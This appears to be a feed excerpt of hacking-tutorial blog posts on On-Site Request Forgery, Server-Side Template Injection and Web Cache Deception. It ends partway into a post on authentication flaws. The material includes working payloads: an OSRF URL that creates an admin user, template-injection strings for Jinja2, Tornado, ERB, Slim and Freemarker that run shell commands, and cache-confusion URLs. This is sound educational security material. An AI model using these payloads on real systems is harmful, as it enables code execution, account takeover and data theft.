					<description><![CDATA[<p>Introduction On-Site Request Forgery (OSRF) is an older vulnerability that often goes unrecognized. It is similar to Cross-Site&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/on-site-request-forgery-osrf-a-forgotten-client-side-attack/">On-Site Request Forgery (OSRF): A Forgotten Client-Side Attack</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h3 class="wp-block-heading"><strong>Introduction</strong></h3>



<p class="wp-block-paragraph"><strong>On-Site Request Forgery (OSRF)</strong> is an older vulnerability that often goes unrecognized. It is similar to <strong>Cross-Site Request Forgery (CSRF)</strong> in that an attacker can force a user&#8217;s web browser to make requests on the attacker&#8217;s behalf.</p>



<p class="wp-block-paragraph">The key difference is the origin of the request:</p>



<ul class="wp-block-list">
<li>In <strong>CSRF</strong>, the malicious request is initiated from an <strong>attacker-controlled external site</strong> (e.g., <code>attacker.com</code>).</li>



<li>In <strong>OSRF</strong>, the malicious request is initiated from the <strong>target application itself</strong> (e.g., <code>target.com</code>).</li>
</ul>



<p class="wp-block-paragraph">The root cause of this vulnerability is the application using <strong>unsanitized user-supplied input to construct an internal HTTP request</strong> or path used by the browser.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Understanding and Exploiting OSRF</strong></h3>



<p class="wp-block-paragraph">When first encountering OSRF, it can feel very similar to <strong>Cross-Site Scripting (XSS)</strong> because it often involves injecting data into an HTML element.</p>



<p class="wp-block-paragraph">Consider the following example of a vulnerable application. The goal for an attacker is to force the user&#8217;s browser to send a request to the sensitive endpoint <code>/admin/add</code>. This action is assumed to create a new admin user that the attacker could then use to log into the victim&#8217;s application.</p>



<p class="wp-block-paragraph">The vulnerable code snippet shows that user input, passed via <code>vuln_param</code>, is used directly to create the <code>src</code> attribute of an image tag: <code>&lt;img src="images/{{vuln_param}}"&gt;</code>.</p>



<p class="wp-block-paragraph">If an attacker could break out of the single quotes here, it would be an XSS vulnerability. However, even if we assume the input is sufficiently sanitized to prevent XSS (i.e., we <strong>cannot break out of the quotes</strong>), OSRF may still be possible.</p>



<p class="wp-block-paragraph">The attacker&#8217;s goal is to construct the following request in the user&#8217;s browser:</p>



<p class="wp-block-paragraph"><code>127.0.0.1/admin/add?username=ghost&amp;password=lulz</code></p>



<p class="wp-block-paragraph">This request is intended to create a new admin user named <strong>&#8220;ghost&#8221;</strong> with the password <strong>&#8220;lulz&#8221;</strong>.</p>



<h4 class="wp-block-heading"><strong>Step 1: Path Traversal</strong></h4>



<p class="wp-block-paragraph">Let&#8217;s look closely at how the <code>vuln_param</code> creates the final path for the image source. The path starts as <code>images/</code>.</p>



<p class="wp-block-paragraph">What if an attacker were to input <strong><code>../../</code></strong> for the <code>vuln_param</code>?</p>



<ul class="wp-block-list">
<li><strong>Original Path:</strong> <code>/images/</code></li>



<li><strong>Input:</strong> <code>../../</code></li>



<li><strong>Resulting Path:</strong> <code>/images/../../</code></li>
</ul>



<p class="wp-block-paragraph">The <code>../</code> characters are a <strong>path traversal</strong> technique that tells the server (or in this case, the browser resolving the path) to <strong>go back one directory</strong>.</p>



<ul class="wp-block-list">
<li><code>images/</code> is the current directory.</li>



<li><code>../</code> moves back from <code>images/</code> to <code>/</code>.</li>



<li>The second <code>../</code> moves back from <code>/</code> one more level, which often wraps around or simply resolves to the <strong>root directory</strong> (<code>/</code>).</li>
</ul>



<p class="wp-block-paragraph">[Image showing the browser resolving the path traversal input <code>../../</code> to the root path <code>/</code>]



<p class="wp-block-paragraph">By using path traversal, the browser sends a <strong>GET request</strong> to the path <code>/</code> instead of the intended <code>/images</code>.</p>



<h4 class="wp-block-heading"><strong>Step 2: Targeting the Admin Endpoint</strong></h4>



<p class="wp-block-paragraph">Now that the attacker can navigate up the directory structure, the next step is to target the sensitive admin endpoint.</p>



<p class="wp-block-paragraph">The attacker sets <code>vuln_param</code> to: <code>../admin/add.jpg</code></p>



<ul class="wp-block-list">
<li><strong>Original Path:</strong> <code>/images/</code></li>



<li><strong>Input:</strong> <code>../admin/add.jpg</code></li>



<li><strong>Resulting Path:</strong> <code>/images/../admin/add.jpg</code></li>
</ul>



<p class="wp-block-paragraph">This path resolves to <code>/admin/add.jpg</code>.</p>



<p class="wp-block-paragraph">[Image showing the browser making a request to <code>/admin/add.jpg</code>]



<p class="wp-block-paragraph">The browser is now making a request to <code>/admin/add.jpg</code>. If the sensitive endpoint is accessible via a <strong>GET request</strong> and requires no CSRF token, we can proceed to add the user parameters.</p>



<h4 class="wp-block-heading"><strong>Step 3: Injecting Parameters and Handling URL Encoding</strong></h4>



<p class="wp-block-paragraph">The attacker now constructs the full payload to add the new user. The request is formed by appending parameters to the path:</p>



<ul class="wp-block-list">
<li><strong>Input:</strong> <code>../admin/add?username=ghost&amp;password=lulz</code></li>
</ul>



<p class="wp-block-paragraph">However, when sending multiple parameters via an injected URL, we must <strong>URL encode the ampersand (<code>&amp;</code>) character</strong> as <strong><code>%26</code></strong>. If we do not encode it, the browser will assume the <code>&amp;</code> belongs to the first resource request and won&#8217;t be passed as a full parameter string to the <code>/admin/add</code> endpoint.</p>



<p class="wp-block-paragraph">Additionally, because the original code appends <strong><code>.jpg</code></strong> to the end of the input, the password in the URL would become <code>password=lulz.jpg</code>, which is not the desired password. To neutralize this unwanted suffix, the attacker can simply add a <strong>dummy parameter</strong> at the end:</p>



<ul class="wp-block-list">
<li>Final Payload (URL Encoded):http://127.0.0.1:5000/?vuln_param=../../admin/add?username=ghost%26password=lulz%26dummy_param=</li>
</ul>



<p class="wp-block-paragraph">This final payload successfully achieves the goal: it makes the user&#8217;s browser send a request to the <code>/admin/add</code> endpoint, causing the application to add a new user named <strong>&#8220;ghost&#8221;</strong> with the password <strong>&#8220;lulz&#8221;</strong>.</p>



<p class="wp-block-paragraph">Since this request is initiated from the user&#8217;s browser while they are authenticated, it will contain all the user&#8217;s necessary <strong>authentication cookies</strong>, the application&#8217;s <strong>Origin header</strong>, and other relevant details, making it appear as a legitimate, authorized request.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Summary</strong></h3>



<p class="wp-block-paragraph">If a security tester is able to <strong>control part of the URL path</strong> used to make an HTTP request within the target application, they likely have <strong>OSRF</strong>.</p>



<p class="wp-block-paragraph">To confirm, try injecting the <strong><code>../</code></strong> characters, which should cause the browser or server to resolve the path one directory up. If path traversal is possible, you almost certainly have OSRF; you just need to find an interesting and sensitive endpoint to call.</p>



<p class="wp-block-paragraph">OSRF is a relatively old vulnerability that is often overlooked. It&#8217;s surprisingly easy for developers to accidentally implement this vulnerability, and because it is often chained with the victim&#8217;s authentication context, it makes OSRF a <strong>fairly dangerous</strong> and high-impact bug.</p>
<p>The post <a href="https://awjunaid.com/books/on-site-request-forgery-osrf-a-forgotten-client-side-attack/">On-Site Request Forgery (OSRF): A Forgotten Client-Side Attack</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/on-site-request-forgery-osrf-a-forgotten-client-side-attack/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11351</post-id>	</item>
		<item>
		<title>Server-Side Template Injection (SSTI): Exploiting the Backend View</title>
		<link>https://awjunaid.com/books/server-side-template-injection-ssti-exploiting-the-backend-view/</link>
					<comments>https://awjunaid.com/books/server-side-template-injection-ssti-exploiting-the-backend-view/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 31 Oct 2025 12:02:10 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kali linux]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11348</guid>

					<description><![CDATA[<p>Introduction To understand Server-Side Template Injection (SSTI), one must first grasp the role of templates, and to understand&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/server-side-template-injection-ssti-exploiting-the-backend-view/">Server-Side Template Injection (SSTI): Exploiting the Backend View</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h3 class="wp-block-heading"><strong>Introduction</strong></h3>



<p class="wp-block-paragraph">To understand <strong>Server-Side Template Injection (SSTI)</strong>, one must first grasp the role of templates, and to understand templates, one should be familiar with the <strong>Model-View-Controller (MVC)</strong> design pattern. The MVC pattern is a software design pattern primarily used for developing user interfaces by separating an application into three interconnected parts.</p>



<p class="wp-block-paragraph">As illustrated above, a user initiates a <strong>request</strong> to the <strong>Controller</strong>. The Controller then uses the <strong>Model</strong> to gather necessary information from the backend database. This information is passed back to the Controller. Next, the Controller passes the information to the <strong>View</strong>, which uses the data to update values in its structure. The final, updated View is then passed back to the Controller, which is subsequently sent to the user and rendered in the browser.</p>



<h4 class="wp-block-heading"><strong>Templates and Template Engines</strong></h4>



<p class="wp-block-paragraph">The <strong>View</strong> component is used to dynamically manipulate the HTML code and is normally implemented using <strong>templates</strong>. Templates allow a developer to have <strong>placeholders</strong> in their HTML code where dynamic variables can be passed in.</p>



<p class="wp-block-paragraph">As seen on the fourth line in the example, there is a title tag holding the expression <strong><code>{{Title}}</code></strong>. This string will be replaced by whatever argument is passed to the template engine at runtime. This allows developers to easily <strong>reuse their code</strong> and separate logic from presentation.</p>



<p class="wp-block-paragraph">A <strong>template engine</strong> enables you to use static template files in your application. At runtime, the template engine <strong>replaces variables</strong> in the template file with actual values, transforming the template into the final HTML file sent to the client.</p>



<p class="wp-block-paragraph">One might question why a template engine is used to modify an HTML document when a simple format string operator could suffice. The reason is that <strong>template engines are much more powerful</strong> than a simple format string operator. Template engines can perform complex actions such as <strong>calling functions and methods, looping over variables, performing arithmetic</strong>, and much more.</p>



<p class="wp-block-paragraph">As you will find out in the following sections, attackers can <strong>abuse template engines</strong> to perform all kinds of malicious actions. Server-Side Template Injection can be leveraged for <strong>Cross-Site Scripting (XSS), sensitive information disclosures, and even full remote code execution (RCE)</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Python: Jinja2 Template Engine</strong></h3>



<p class="wp-block-paragraph"><strong>Jinja2</strong> is a popular template engine in Python and is frequently used in <strong>Flask</strong> and <strong>Django</strong> applications.</p>



<p class="wp-block-paragraph">When testing for <strong>Server-Side Template Injection (SSTI)</strong> in a Jinja2 application, the following payloads are usually tried first to confirm vulnerability:</p>



<ul class="wp-block-list">
<li><code>{{7*7}}</code> (Expected Output: <strong>49</strong>)</li>



<li><code>{{7*'7'}}</code> (Expected Output: <strong>7777777</strong>)</li>
</ul>



<p class="wp-block-paragraph">If the output <code>7777777</code> is displayed, you can assume the application is vulnerable and is likely using the <strong>Jinja2 or Tornado template engine</strong>.</p>



<h4 class="wp-block-heading"><strong>Exploiting Jinja2 using MRO</strong></h4>



<p class="wp-block-paragraph">To fully understand how to exploit this vulnerability, you first need to understand <strong>Method Resolution Order (MRO)</strong>. MRO is the order in which Python looks for a method in a hierarchy of classes, and the MRO function can be used to list these classes.</p>



<p class="wp-block-paragraph">To start, we can inspect the MRO of an empty string:</p>



<ul class="wp-block-list">
<li><code>'' .__class__.__mro__</code></li>
</ul>



<p class="wp-block-paragraph">This command will first search the string class for a method. If it&#8217;s not found there, it will search the <strong>root object class</strong>. For this attack, we only care about the <strong>root object class</strong> because we can use it to get a handle to <strong>all other classes</strong> used by the application. To get the root object, access the second index (index <code>[1]</code>) in the array:</p>



<ul class="wp-block-list">
<li><code>'' .__class__.__mro__[1]</code></li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Note:</strong> You can also use the <strong><code>__base__</code></strong> method on an empty array or list to get this root object, as shown in the following command:</p>



<ul class="wp-block-list">
<li><code>[].__class__.__base__</code></li>
</ul>
</blockquote>



<p class="wp-block-paragraph">The <strong><code>__subclasses__()</code></strong> method can be used to list all the subclasses of a class. By using this on the root object, we can get a handle to <strong>every class the application uses</strong>:</p>



<ul class="wp-block-list">
<li><code>{{[].__class__.__mro__[1].__subclasses__()}}</code></li>
</ul>



<p class="wp-block-paragraph">As you can see, all subclasses of the root object have been displayed. The next step is to look for something interesting that allows for system interaction. If we have access to the <strong><code>subprocess.Popen</code> class</strong>, an attacker can leverage this class to <strong>execute commands on the server</strong>, as shown below:</p>



<ul class="wp-block-list">
<li><code>{{[].__class__.__mro__[1].__subclasses__()[-3]('whoami',shell=True,stdout=-1).communicate()[0] }}</code></li>
</ul>



<p class="wp-block-paragraph">If you are familiar with Python and the <code>Popen</code> method, you will see that this is simply using <strong>legitimate functionalities</strong> of Python to execute a system command. Note that you can also use the following command for code execution if the one above doesn&#8217;t work (this payload relies on accessing the <code>os</code> module from the application&#8217;s configuration):</p>



<ul class="wp-block-list">
<li><code>{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}</code></li>
</ul>



<p class="wp-block-paragraph">If you find SSTI in the Jinja2 template engine, the severity of the finding depends on <strong>what Python classes you have access to</strong>. If you don&#8217;t have access to any system command classes, code execution might be impossible (though not always). If you have access to the file class, you might be able to read/write files to the system. You must <strong>properly enumerate all the classes</strong> the root object has access to so you can figure out what capabilities you have.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Python: Tornado Template Engine</strong></h3>



<p class="wp-block-paragraph">According to Google, <strong>Tornado</strong> is a scalable, non-blocking web server and web application framework written in Python. Tornado also has its own template engine which, like many others, is vulnerable to SSTI if implemented incorrectly.</p>



<p class="wp-block-paragraph">Exploiting SSTI in the Tornado template engine is relatively easy compared to other engines. Looking at the Tornado template engine documentation, it mentions that you can <strong>import Python libraries</strong> directly into the template.</p>



<p class="wp-block-paragraph">Any library available to Python is also available to the template engine. This means you can <strong>import a Python library and call its functions</strong>. This functionality can be abused to execute system commands, as shown below:</p>



<ul class="wp-block-list">
<li><code>{% import os %}{{ os.popen("whoami").read() }}</code></li>



<li><code>{% import subprocess %}{{subprocess.Popen('whoami',shell=True,stdout=-1).communicate()[0]}}</code></li>
</ul>



<p class="wp-block-paragraph">[Image showing the &#8216;whoami&#8217; command output after successful SSTI exploitation in Tornado]



<p class="wp-block-paragraph">As you can see, the <strong><code>whoami</code></strong> command was run on the server, and the output was displayed on the screen. Since we can import any Python library, the attacker is not limited to just executing shell commands; they can execute <strong>arbitrary Python code</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Ruby: ERB Template Engine</strong></h3>



<p class="wp-block-paragraph"><strong>ERB</strong> is an Eruby templating engine used to <strong>embed Ruby code</strong> within a document. According to Google, &#8220;An ERB template looks like a plain-text document interspersed with tags containing Ruby code. When evaluated, this tagged code can modify text in the template.&#8221;</p>



<p class="wp-block-paragraph">Note that ERB uses the following tags for embedding code:</p>



<ul class="wp-block-list">
<li><code>&lt;% code %></code>: Used to execute Ruby code without returning a result (e.g., control flow).</li>



<li><code>&lt;%= code %></code>: Used to execute Ruby code and <strong>return (print) the results</strong>.</li>
</ul>



<p class="wp-block-paragraph">To test for SSTI in the ERB engine, use the following command:</p>



<ul class="wp-block-list">
<li><code>&lt;%= 7 * 7 %></code></li>
</ul>



<p class="wp-block-paragraph">As seen, the code was executed and returned the value of <strong><code>49</code></strong>. This is a strong indicator that the server is vulnerable to Server-Side Template Injection. To test for code execution, simply run your Ruby code to execute a system command:</p>



<ul class="wp-block-list">
<li><code>&lt;%= </code>whoami<code> %></code> (Uses backticks for command execution)</li>



<li><code>&lt;%= IO.popen('whoami').readlines() %></code></li>



<li><code>&lt;% require 'open3' %>&lt;% @a,@b,@c,@d=Open3.popen3('whoami') %>&lt;%= @b.readline()%></code></li>



<li><code>&lt;% require 'open4' %>&lt;% @a,@b,@c,@d=Open4.popen4('whoami') %>&lt;%= @c.readline()%></code></li>
</ul>



<p class="wp-block-paragraph">[Image showing the &#8216;whoami&#8217; command output after successful SSTI exploitation in ERB]



<p class="wp-block-paragraph">As shown, the <strong><code>whoami</code></strong> command ran, and the results were outputted to the screen.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Ruby: Slim Template Engine</strong></h3>



<p class="wp-block-paragraph">According to Google, <strong>Slim</strong> is &#8220;a fast, lightweight templating engine with support for Rails 3 and later.&#8221; Like many other template engines, SSTI can arise when Slim is improperly implemented.</p>



<p class="wp-block-paragraph">In terms of exploiting SSTI, the Slim template engine is very similar to ERB, but the syntax is different:</p>



<ul class="wp-block-list">
<li><code>#{code}</code></li>
</ul>



<p class="wp-block-paragraph">To execute a shell command, simply wrap your command in backticks:</p>



<ul class="wp-block-list">
<li><code>#{ \</code>whoami` }`</li>
</ul>



<p class="wp-block-paragraph">Again, just like the ERB template engine, if vulnerable, an attacker can execute <strong>any Ruby command</strong> they want.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Java: Freemarker Template Engine</strong></h3>



<p class="wp-block-paragraph"><strong>Freemarker</strong> is the most popular template engine for Java, making it a valuable target to understand.</p>



<p class="wp-block-paragraph">As you can see, this vulnerability stems from <strong>concatenating user-supplied input with a template</strong>, just like every other template engine vulnerability. To test for SSTI vulnerability, use the following payload:</p>



<ul class="wp-block-list">
<li><code>${7*7}</code></li>
</ul>



<p class="wp-block-paragraph">Similar to other template engines, to exploit this vulnerability, we are going to use an object to execute shell commands. The <strong><code>?new()</code></strong> command in Freemarker can be used to <strong>instantiate classes</strong>, so all we need is a class that can execute shell commands.</p>



<p class="wp-block-paragraph">The <strong><code>Execute</code></strong> class is available in Freemarker and can be used to execute shell commands. The documentation even mentions that this class can be used to run <strong>arbitrary code</strong> on the server. To use this class, we can run one of the following commands:</p>



<ul class="wp-block-list">
<li><code>&lt;#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}</code></li>



<li><code>[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('whoami')}</code></li>



<li><code>${"freemarker.template.utility.Execute"?new()("whoami")}</code></li>
</ul>



<p class="wp-block-paragraph">[Image showing the &#8216;whoami&#8217; command output after successful SSTI exploitation in Freemarker]



<p class="wp-block-paragraph">As demonstrated, the command <strong><code>whoami</code></strong> ran, and the output was displayed in the browser. From here, it would be trivial to run a command to execute a backdoor or any other malicious payload.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://awjunaid.com/books/server-side-template-injection-ssti-exploiting-the-backend-view/">Server-Side Template Injection (SSTI): Exploiting the Backend View</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/server-side-template-injection-ssti-exploiting-the-backend-view/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11348</post-id>	</item>
		<item>
		<title>Web Cache Deception: Tricking the Caching Server to Expose Private Data</title>
		<link>https://awjunaid.com/books/web-cache-deception-tricking-the-caching-server-to-expose-private-data/</link>
					<comments>https://awjunaid.com/books/web-cache-deception-tricking-the-caching-server-to-expose-private-data/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Fri, 31 Oct 2025 11:51:52 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kali linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11345</guid>

					<description><![CDATA[<p>Introduction Like web cache poisoning, Web Cache Deception (WCD) is an attack directed against the caching server. The&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/web-cache-deception-tricking-the-caching-server-to-expose-private-data/">Web Cache Deception: Tricking the Caching Server to Expose Private Data</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h3 class="wp-block-heading"><strong>Introduction</strong></h3>



<p class="wp-block-paragraph">Like web cache poisoning, <strong>Web Cache Deception (WCD)</strong> is an attack directed against the caching server. The goal of WCD is to <strong>trick the caching server into caching the sensitive, private information of other users</strong>. In specific scenarios, the exposed information can be used by an attacker to <strong>take over a victim&#8217;s account</strong>.</p>



<p class="wp-block-paragraph">This exploit relies on two main conditions: <strong>path confusion</strong> and the fact that some caching servers are aggressively configured to cache requests that appear to be for <strong>static files</strong>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Reminder:</strong> Web cache deception relies on a fundamental understanding of caching servers. Caching servers save the response to a user&#8217;s request and serve that saved response to subsequent users who call the same endpoint, improving performance and reducing server load.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><strong>Understanding Web Cache Deception</strong></h3>



<p class="wp-block-paragraph">Web cache deception works by crafting a malicious <strong>URL</strong> that, when visited by a victim, causes the caching server to <strong>cache the private response</strong> and serve it to everyone, including the attacker.</p>



<h4 class="wp-block-heading"><strong>Condition 1: Overriding Cache Control for Static Files</strong></h4>



<p class="wp-block-paragraph">When a web application handles sensitive data, it typically instructs the caching server <strong>not to cache</strong> the response. For example, the endpoint <code>/setting.php</code> returns a user&#8217;s <strong>name, email, address, and phone number</strong>. Since the response relies on the user currently logged in, and each response will be different, it would not make sense to cache this page. Furthermore, for security reasons, you absolutely do not want an application caching pages with sensitive information.</p>



<p class="wp-block-paragraph">The application achieves this by setting the <strong><code>Cache-Control</code> header</strong> in the HTTP response:</p>



<p class="wp-block-paragraph">As seen in the image above, the <code>Cache-Control</code> header is set to <strong><code>no-cache</code></strong>. This explicitly tells the caching server to <strong>not cache this page</strong>.</p>



<p class="wp-block-paragraph">However, sometimes the caching server will make an <strong>executive decision</strong> to cache a page <strong>regardless of the response headers</strong>. This normally occurs when the caching server is configured to <strong>aggressively cache any page ending with a specific extension</strong> (such as <code>.css</code>, <code>.jpg</code>, <code>.png</code>, etc.). The caching server is configured to cache all <strong>static pages</strong> no matter what the response headers say.</p>



<p class="wp-block-paragraph">Therefore, if an attacker were to request a URL like <code>example.com/nonexistent.css</code> while logged in, the caching server would cache this response, <strong>regardless of the actual content or the application&#8217;s <code>Cache-Control</code> header</strong>, simply because the URL path ends with the <code>.css</code> extension.</p>



<h4 class="wp-block-heading"><strong>Condition 2: Path Confusion</strong></h4>



<p class="wp-block-paragraph"><strong>Path confusion</strong> occurs when a web application loads the <strong>same resources or executes the same logic</strong> regardless of slight variations in the requested URL path. With the rise of large web applications and complicated routing tables, this flaw has been unintentionally introduced.</p>



<p class="wp-block-paragraph">In modern web frameworks, there is often a <strong>catch-all path</strong> on the root directory. This means that any path after the initial <code>/</code> will essentially be passed to the same function or handler, often resulting in the same response.</p>



<p class="wp-block-paragraph">In the scenario above, both the <code>example.com/</code> and <code>example.com/something</code> URLs would be sent to the same <code>catch_all</code> function. While the example only prints the path, in a real-world application, the function would perform some task (like rendering the user&#8217;s account page) and return the HTML response.</p>



<p class="wp-block-paragraph">The following image, taken from the white paper <em>&#8220;Cached and Confused: Web Cache Deception in the Wild&#8221;</em>, describes several techniques attackers use to achieve path confusion and trick the caching server.</p>



<h5 class="wp-block-heading"><strong>Techniques for Causing Path Confusion:</strong></h5>



<ol start="1" class="wp-block-list">
<li><strong>Path Parameter:</strong> This occurs when additional path elements added to the request are still passed to the same backend function.
<ul class="wp-block-list">
<li><strong>Application&#8217;s View:</strong> <code>example.com/account.php</code> (The application ignores the extra path element and renders the account page.)</li>



<li><strong>Caching Server&#8217;s View:</strong> <code>example.com/account.php/nonexistent.css</code> (The caching server sees the <code>.css</code> extension and decides to cache the resource.)</li>
</ul>
</li>



<li><strong>Encoded Newline (<code>%0A</code>):</strong> This exploits the difference in how proxies and web servers parse characters. Some web servers stop reading a path after a newline character, but the caching server does not.
<ul class="wp-block-list">
<li><strong>Application&#8217;s View:</strong> <code>example.com/account.php</code></li>



<li><strong>Caching Server&#8217;s View:</strong> <code>example.com/account.php%0Anonexistent.css</code> (The caching server sees the full path with the static extension.)</li>
</ul>
</li>



<li><strong>Encoded Semicolon (<code>%3B</code>):</strong> Some web servers treat semicolons (<code>;</code>) as parameter separators, while the caching server may not recognize this special meaning.
<ul class="wp-block-list">
<li><strong>Application&#8217;s View:</strong> <code>example.com/account.php</code> (The server sees the semicolon and everything after it as a parameter for <code>account.php</code>.)</li>



<li><strong>Caching Server&#8217;s View:</strong> <code>example.com/account.php%3Bnonexistent.css</code> (The caching server sees the full path as a separate resource.)</li>
</ul>
</li>



<li><strong>Encoded Pound (<code>%23</code>):</strong> Web servers often process the pound character (<code>#</code>) as an <strong>HTML fragment identifier</strong> and stop parsing the URL after that character, essentially ignoring it in the request sent to the backend. The caching server, however, may not.
<ul class="wp-block-list">
<li><strong>Application&#8217;s View:</strong> <code>example.com/account.php</code></li>



<li><strong>Caching Server&#8217;s View:</strong> <code>example.com/account.php%23nonexistent.css</code></li>
</ul>
</li>



<li><strong>Encoded Question Mark (<code>%3F</code>):</strong> Web servers treat question marks (<code>?</code>) as the start of URL parameters, while the caching server may treat the response differently.
<ul class="wp-block-list">
<li><strong>Application&#8217;s View:</strong> <code>example.com/account.php</code> (The server sees <code>?name=valnonexistent.css</code> as a query string for <code>account.php</code>.)</li>



<li><strong>Caching Server&#8217;s View:</strong> <code>example.com/account.php%3fname=valnonexistent.css</code></li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph">As you can tell, the key to these attacks is the <strong>difference in interpretation</strong>: the <strong>web server interprets a request one way</strong> (resulting in the user&#8217;s private page), while the <strong>caching server interprets it a different way</strong> (resulting in a cacheable static file).</p>



<h3 class="wp-block-heading"><strong>Executing the Web Cache Deception Attack</strong></h3>



<p class="wp-block-paragraph">The attack is executed by combining the two conditions:</p>



<ol start="1" class="wp-block-list">
<li>The application has a sensitive, authenticated page, like an account setting page (<code>/users/me</code>).</li>



<li>The application routing is susceptible to path confusion, or the caching server is configured to ignore <code>Cache-Control</code> for static files.</li>



<li>The attacker crafts a malicious URL that exploits the path confusion and ends with a static extension, for example:<code>http://example.com/users/me/profile.css</code></li>
</ol>



<p class="wp-block-paragraph">If a logged-in <strong>victim</strong> visits this URL, the web server sees the <code>/users/me</code> path and returns the victim&#8217;s private information (email, name, phone number, etc.). However, the caching server sees the <code>.css</code> extension and decides to <strong>cache the HTML response</strong> containing the victim&#8217;s private data.</p>



<p class="wp-block-paragraph">Once the response is cached, the <strong>attacker</strong> can then simply visit the same URL (<code>http://example.com/users/me/profile.css</code>) and retrieve the cached response, which now contains the <strong>victim&#8217;s sensitive personal identifiable information (PII)</strong>.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://awjunaid.com/books/web-cache-deception-tricking-the-caching-server-to-expose-private-data/">Web Cache Deception: Tricking the Caching Server to Expose Private Data</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/books/web-cache-deception-tricking-the-caching-server-to-expose-private-data/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">11345</post-id>	</item>
		<item>
		<title>Authentication Flaws: Compromising User Identity</title>
		<link>https://awjunaid.com/books/authentication-flaws-compromising-user-identity/</link>
					<comments>https://awjunaid.com/books/authentication-flaws-compromising-user-identity/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 16:27:40 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[kali linux]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11331</guid>

					<description><![CDATA[<p>If an application requires you to log in, it must use some form of authentication to verify who&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/authentication-flaws-compromising-user-identity/">Authentication Flaws: Compromising User Identity</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">If an application requires you to log in, it must use some form of <strong>authentication</strong> to verify who you are. Depending on the authentication method an application is using, there could be several types of attacks used to compromise the authentication process.</p>



<p class="wp-block-paragraph"><strong>Compromising the authentication process</strong> will typically lead to <strong>Account Takeover (ATO)</strong> vulnerabilities, and depending on the accounts you take over, it could also lead to <strong>privilege escalation</strong> (gaining higher access permissions than intended). The following sections discuss some of the most common authentication methods and their pitfalls.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">HTTP Basic Authentication</h2>



<p class="wp-block-paragraph">This is probably the <strong>most basic and easy to implement</strong> type of authentication. You can identify HTTP Basic Auth by the pop-up it displays in web browsers asking for a username and password.</p>



<h3 class="wp-block-heading">The Pitfall: Base64 Encoding</h3>



<p class="wp-block-paragraph">After typing in your username and password, the authentication details are stored in an <strong><code>Authorization</code></strong> header as shown below:</p>



<pre class="wp-block-code"><code>Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
</code></pre>



<p class="wp-block-paragraph">Note that the authorization header is just a <strong>Base64 encoded string</strong> of the username and password. <strong>Base64</strong> is an encoding scheme used to represent binary data in an ASCII string format; it is <strong>not encryption</strong>.</p>



<p class="wp-block-paragraph">If you were to decode the string <code>dXNlcm5hbWU6cGFzc3dvcmQ=</code> you would get:</p>



